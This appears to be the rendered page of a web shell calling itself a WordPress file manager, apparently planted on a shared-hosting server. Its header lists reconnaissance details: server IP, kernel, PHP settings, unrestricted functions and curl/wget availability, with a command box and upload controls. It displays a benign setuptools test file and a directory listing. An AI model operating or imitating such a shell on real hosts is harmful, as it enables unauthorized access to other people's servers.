GRAYBYTE WORDPRESS FILE MANAGER8208

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/cloudlinux/venv/lib/python3.11/site-packages/setuptools/tests/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/cloudlinux/venv/lib/python3.11/site-packages/setuptools/tests//test_install_scripts.py
"""install_scripts tests"""

import sys

import pytest

from setuptools.command.install_scripts import install_scripts
from setuptools.dist import Distribution

from . import contexts


class TestInstallScripts:
    settings = dict(
        name='foo',
        entry_points={'console_scripts': ['foo=foo:foo']},
        version='0.0',
    )
    unix_exe = '/usr/dummy-test-path/local/bin/python'
    unix_spaces_exe = '/usr/bin/env dummy-test-python'
    win32_exe = 'C:\\Dummy Test Path\\Program Files\\Python 3.6\\python.exe'

    def _run_install_scripts(self, install_dir, executable=None):
        dist = Distribution(self.settings)
        dist.script_name = 'setup.py'
        cmd = install_scripts(dist)
        cmd.install_dir = install_dir
        if executable is not None:
            bs = cmd.get_finalized_command('build_scripts')
            bs.executable = executable
        cmd.ensure_finalized()
        with contexts.quiet():
            cmd.run()

    @pytest.mark.skipif(sys.platform == 'win32', reason='non-Windows only')
    def test_sys_executable_escaping_unix(self, tmpdir, monkeypatch):
        """
        Ensure that shebang is not quoted on Unix when getting the Python exe
        from sys.executable.
        """
        expected = f'#!{self.unix_exe}\n'
        monkeypatch.setattr('sys.executable', self.unix_exe)
        with tmpdir.as_cwd():
            self._run_install_scripts(str(tmpdir))
            with open(str(tmpdir.join('foo')), 'r', encoding="utf-8") as f:
                actual = f.readline()
        assert actual == expected

    @pytest.mark.skipif(sys.platform != 'win32', reason='Windows only')
    def test_sys_executable_escaping_win32(self, tmpdir, monkeypatch):
        """
        Ensure that shebang is quoted on Windows when getting the Python exe
        from sys.executable and it contains a space.
        """
        expected = f'#!"{self.win32_exe}"\n'
        monkeypatch.setattr('sys.executable', self.win32_exe)
        with tmpdir.as_cwd():
            self._run_install_scripts(str(tmpdir))
            with open(str(tmpdir.join('foo-script.py')), 'r', encoding="utf-8") as f:
                actual = f.readline()
        assert actual == expected

    @pytest.mark.skipif(sys.platform == 'win32', reason='non-Windows only')
    def test_executable_with_spaces_escaping_unix(self, tmpdir):
        """
        Ensure that shebang on Unix is not quoted, even when
        a value with spaces
        is specified using --executable.
        """
        expected = f'#!{self.unix_spaces_exe}\n'
        with tmpdir.as_cwd():
            self._run_install_scripts(str(tmpdir), self.unix_spaces_exe)
            with open(str(tmpdir.join('foo')), 'r', encoding="utf-8") as f:
                actual = f.readline()
        assert actual == expected

    @pytest.mark.skipif(sys.platform != 'win32', reason='Windows only')
    def test_executable_arg_escaping_win32(self, tmpdir):
        """
        Ensure that shebang on Windows is quoted when
        getting a path with spaces
        from --executable, that is itself properly quoted.
        """
        expected = f'#!"{self.win32_exe}"\n'
        with tmpdir.as_cwd():
            self._run_install_scripts(str(tmpdir), '"' + self.win32_exe + '"')
            with open(str(tmpdir.join('foo-script.py')), 'r', encoding="utf-8") as f:
                actual = f.readline()
        assert actual == expected

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
May 15 2025 08:30:34
root / root
0755
__pycache__
--
May 15 2025 08:30:34
root / root
0755
compat
--
May 15 2025 08:30:34
root / root
0755
config
--
May 15 2025 08:30:34
root / root
0755
indexes
--
April 17 2025 13:10:58
root / root
0755
integration
--
May 15 2025 08:30:34
root / root
0755
__init__.py
0.327 KB
April 17 2025 13:10:58
root / root
0644
contexts.py
3.398 KB
April 17 2025 13:10:58
root / root
0644
environment.py
3.029 KB
April 17 2025 13:10:58
root / root
0644
fixtures.py
5.075 KB
April 17 2025 13:10:58
root / root
0644
mod_with_constant.py
0.021 KB
April 17 2025 13:10:58
root / root
0644
namespaces.py
2.709 KB
April 17 2025 13:10:58
root / root
0644
script-with-bom.py
0.018 KB
April 17 2025 13:10:58
root / root
0644
server.py
2.341 KB
April 17 2025 13:10:58
root / root
0644
test_archive_util.py
0.825 KB
April 17 2025 13:10:58
root / root
0644
test_bdist_deprecations.py
0.757 KB
April 17 2025 13:10:58
root / root
0644
test_bdist_egg.py
1.911 KB
April 17 2025 13:10:58
root / root
0644
test_bdist_wheel.py
22.542 KB
April 17 2025 13:10:58
root / root
0644
test_build.py
0.779 KB
April 17 2025 13:10:58
root / root
0644
test_build_clib.py
3.05 KB
April 17 2025 13:10:58
root / root
0644
test_build_ext.py
9.862 KB
April 17 2025 13:10:58
root / root
0644
test_build_meta.py
33.318 KB
April 17 2025 13:10:58
root / root
0644
test_build_py.py
13.854 KB
April 17 2025 13:10:58
root / root
0644
test_config_discovery.py
22.051 KB
April 17 2025 13:10:58
root / root
0644
test_core_metadata.py
20.392 KB
April 17 2025 13:10:58
root / root
0644
test_depends.py
0.414 KB
April 17 2025 13:10:58
root / root
0644
test_develop.py
5.021 KB
April 17 2025 13:10:58
root / root
0644
test_dist.py
8.692 KB
April 17 2025 13:10:58
root / root
0644
test_dist_info.py
6.911 KB
April 17 2025 13:10:58
root / root
0644
test_distutils_adoption.py
5.847 KB
April 17 2025 13:10:58
root / root
0644
test_easy_install.py
52.279 KB
April 17 2025 13:10:58
root / root
0644
test_editable_install.py
42.366 KB
April 17 2025 13:10:58
root / root
0644
test_egg_info.py
43.814 KB
April 17 2025 13:10:58
root / root
0644
test_extern.py
0.289 KB
April 17 2025 13:10:58
root / root
0644
test_find_packages.py
7.636 KB
April 17 2025 13:10:58
root / root
0644
test_find_py_modules.py
2.348 KB
April 17 2025 13:10:58
root / root
0644
test_glob.py
0.866 KB
April 17 2025 13:10:58
root / root
0644
test_install_scripts.py
3.353 KB
April 17 2025 13:10:58
root / root
0644
test_logging.py
2.05 KB
April 17 2025 13:10:58
root / root
0644
test_manifest.py
18.127 KB
April 17 2025 13:10:58
root / root
0644
test_namespaces.py
4.409 KB
April 17 2025 13:10:58
root / root
0644
test_packageindex.py
8.569 KB
April 17 2025 13:10:58
root / root
0644
test_sandbox.py
4.229 KB
April 17 2025 13:10:58
root / root
0644
test_sdist.py
32.102 KB
April 17 2025 13:10:58
root / root
0644
test_setopt.py
1.333 KB
April 17 2025 13:10:58
root / root
0644
test_setuptools.py
8.797 KB
April 17 2025 13:10:58
root / root
0644
test_shutil_wrapper.py
0.626 KB
April 17 2025 13:10:58
root / root
0644
test_unicode_utils.py
0.309 KB
April 17 2025 13:10:58
root / root
0644
test_virtualenv.py
3.643 KB
April 17 2025 13:10:58
root / root
0644
test_warnings.py
3.269 KB
April 17 2025 13:10:58
root / root
0644
test_wheel.py
18.916 KB
April 17 2025 13:10:58
root / root
0644
test_windows_wrappers.py
7.696 KB
April 17 2025 13:10:58
root / root
0644
text.py
0.12 KB
April 17 2025 13:10:58
root / root
0644
textwrap.py
0.096 KB
April 17 2025 13:10:58
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF